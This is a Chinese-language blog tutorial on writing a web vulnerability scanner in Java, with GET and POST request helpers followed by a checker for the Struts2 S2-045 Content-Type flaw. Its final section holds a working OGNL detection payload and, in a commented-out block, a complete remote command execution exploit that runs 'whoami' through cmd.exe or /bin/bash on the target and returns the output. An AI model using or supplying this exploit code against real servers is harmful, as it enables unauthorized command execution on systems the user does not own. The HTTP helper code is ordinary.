如何使用Java编写Web漏洞扫描/利用
晚安 / 2020-07-16 / 神兵利器 / 阅读量 13520

首先说明一下我的开发环境: IDEA-2020.1 + Jdk 1.8
在Web端下,基本上就是GET/POST请求,大部分漏洞的利用也是如此。将我们手工操作的流程-过程用代码是模拟的过程就是编写漏洞扫描工具.
请输入图片描述

漏洞扫描工具可以帮助我们减少重复性的手工操作,并且效率极大的提高。人工操作10分钟,电脑零点几秒就可以完成,在对目标非常多的情况下,扫描工具更是必不可缺。但是工具毕竟是工具,它不可能像人脑一样的分析处理判断事物,所以工具会有误报和漏报的情况下。
 当然还有一些漏洞甚至是工具无法完成的,比如逻辑漏洞,逻辑漏洞名 “逻辑” 意思就是说开发者思维上的漏洞, 从一个开发者没有没有想到的角度去出发,但是可以做到和正常角度出发达到同样的目的,就是思考上的缺陷。这个智能的过程很明显是工具无法完成,但是要知道从你打开一个链接到接收到响应显示到页面上,中间可能会发生n多个请求。更别说频繁浏览网页的情况下,所以我们仍然可以编写一些针对性的扫描工具,来对请求进行筛选,得到我们最想看到的请求信息.
未命名文件.jpg

那接下来我们来看一下如何使用Java写一个GET请求

/**
     * GET请求
     * 
     * @param url 网址
     * @return
     */    
      

public static String getRequest(String url) throws IOException {
            BufferedReader bd = null;
            StringBuffer sb = null;
            try {
                URL realUrl = new URL(url);
                // 打开和URL之间的连接
                URLConnection connection = realUrl.openConnection();
                // 设置通用的请求属性
                connection.setRequestProperty("accept", "*/*");
                connection.setRequestProperty("connection", "Keep-Alive");
                connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
                connection.setConnectTimeout(5000);
                connection.setReadTimeout(5000);
                // 建立实际的连接
                connection.connect();
                // 定义 BufferedReader输入流来读取URL的响应
                bd = new BufferedReader(new InputStreamReader(connection.getInputStream()));
                sb = new StringBuffer();
                String line;
                while ((line = bd.readLine()) != null) {
                    sb.append(line);
                }
                bd.close();
    
            } catch (MalformedURLException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
            return sb.toString();
        }

我们来看看结果,主函数内使用System.out.println(getRequest("http://www.hi-awsafe.com"));来请求输出。
getidea.png


接下来来到重点POST请求,我们先来看看POST请求有几个参数:

  1. 网址--posttarget
  2. 请求头--openConnection
  3. POST请求参数--params


public static String postRequest(String posttarget, String params) throws Exception {
    StringBuilder sb = new StringBuilder(); // 请求的响应内容
    BufferedReader bd;
    PrintWriter out; // 输出流
    try {
        URL url = new URL(posttarget);
        URLConnection openConnection = url.openConnection();
        // 设置请求头
        openConnection.setRequestProperty("accept", "*/*");
        openConnection.setRequestProperty("connection", "Keep-Alive");
        openConnection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
        openConnection.setRequestProperty("X-Requested-With","XMLHttpRequest");
        openConnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
        openConnection.setDoInput(true); // 默认为true,可以使用openConnection.getInputStream() 取得响应
        openConnection.setDoOutput(true); // 默认为false, 设置为true后可以使用openConnection.getOutputStream() 进行写入数据
        out = new PrintWriter(openConnection.getOutputStream());
        out.print(params);
        out.flush();

        bd = new BufferedReader(new InputStreamReader(openConnection.getInputStream()));
        String line = null;
        while ((line = bd.readLine()) != null) {
            // System.out.println(line); // 逐行打印请求
            sb.append(line + "\r\n");
        }
    } catch (MalformedURLException e) {
        e.printStackTrace();
    } catch (IOException e) {
        e.printStackTrace();
    }
    return sb.toString();
}

那我们来实验测试一下
先来定义一下posttarget:String posttarget = "http://www.wanan.life/admin";
接着继续请求头:openConnection -->看代码里面的注释,第八行开始
然后请求参数params:String params = "name=不可能告诉你用户名的&password=密码更别想&referer=";
postidea.png


好了差不多了解了,那我们就实战写一个案例,开发一个检测Struts2-045命令执行的检测工具,因为是st2-045漏洞是因为使用Jakarta上传文件对Content-Type判断和处理不档引起的,所以漏洞利用的poc是要作用在请求头中的Centent-Type才能生效的。所以我们需要在小小的修改一下post请求.

public static String sendPost(String target, String params,Map<String, String> headers) {
        StringBuilder responseBody = new StringBuilder(); // 请求的响应内容
        BufferedReader reader;
        PrintWriter out; // 输出流
        try {
            URL url = new URL(target);
            URLConnection openConnection = url.openConnection();
         // 设置请求头
            for (Map.Entry<String, String> entry : headers.entrySet()) {
                openConnection.setRequestProperty(entry.getKey(), entry.getValue());
            }
            openConnection.setDoInput(true); // 默认为true,可以使用openConnection.getInputStream() 取得响应
            openConnection.setDoOutput(true); // 默认为false, 设置为true后可以使用openConnection.getOutputStream() 进行写入数据
            out = new PrintWriter(openConnection.getOutputStream());
            out.print(params);
            out.flush();

            reader = new BufferedReader(new InputStreamReader(openConnection.getInputStream()));
            String line = null;
            while ((line = reader.readLine()) != null) {
                // System.out.println(line); // 逐行打印请求
                responseBody.append(line + "\r\n");
            }
        } catch (MalformedURLException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }

        return responseBody.toString();

    }

然后我们开始测试,首先就是先定义payload,这里的payload是使用ognl向页面打印(println)了一个 “wanan”,所以当 “wanan”存在于响应中的情况下,基本上可以判判断存在漏洞!然后就是需要扫描的网址:String target = "";

public static void main(String[] args) throws Exception{
        String payload = "%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm))))."
                + "(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('wanan')).(#o.close())}";

        String target = "";//定义自己需要扫描的url

        Map<String, String> headers = new HashMap<>();
        headers.put("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
        headers.put("Content-Type", payload);


        String postResponseBody = sendPost(target, "",headers);
        if (postResponseBody.contains("wanan")) {
            System.out.println("[*] 存在 st2-045 漏洞: "+ target);
        }else {
            System.out.println("不存在Str2-045漏洞!");
        }
        //执行系统命令exp
          /*  headers.put("Content-Type","%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):" +
                "((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." +
                "(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='\"whoami\"')." +
                "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." +
                "(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse()." +
                "getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}");
            String postResponseBodycmd = sendPost(target,"",headers);
                System.out.println("系统权限为:" + postResponseBodycmd);*/
    }

postidea.png

支付宝捐赠
请使用支付宝扫一扫进行捐赠
微信捐赠
请使用微信扫一扫进行赞赏